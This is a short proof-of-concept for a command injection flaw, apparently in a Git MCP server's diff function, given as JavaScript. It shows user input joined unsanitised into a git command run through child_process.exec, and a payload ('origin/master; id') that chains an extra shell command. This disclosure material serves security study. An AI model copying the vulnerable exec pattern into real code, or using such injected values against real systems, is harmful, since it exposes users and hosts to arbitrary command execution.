CVE-2026-4496 Git-MCP-Server OS命令注入漏洞

// PoC for CVE-2026-4496: OS Command Injection in Git-MCP-Server // The vulnerability lies in src/gitUtils.ts where user input is passed to child_process.exec. // An attacker can inject commands via parameters affecting show_merge_diff. const { exec } = require('child_process'); // Simulated vulnerable function pattern found in src/gitUtils.ts function vulnerableShowDiff(userInput) { // Vulnerable code: direct concatenation without sanitization const command = `git diff ${userInput}`; exec(command, (error, stdout, stderr) => { if (error) { console.error(`exec error: ${error}`); return; } console.log(`Output: ${stdout}`); }); } // Exploit payload: Injecting a command to execute 'id' or 'whoami' // Using a semicolon to chain commands in the shell const maliciousPayload = "origin/master; id"; console.log("Sending payload with command injection:"); vulnerableShowDiff(maliciousPayload);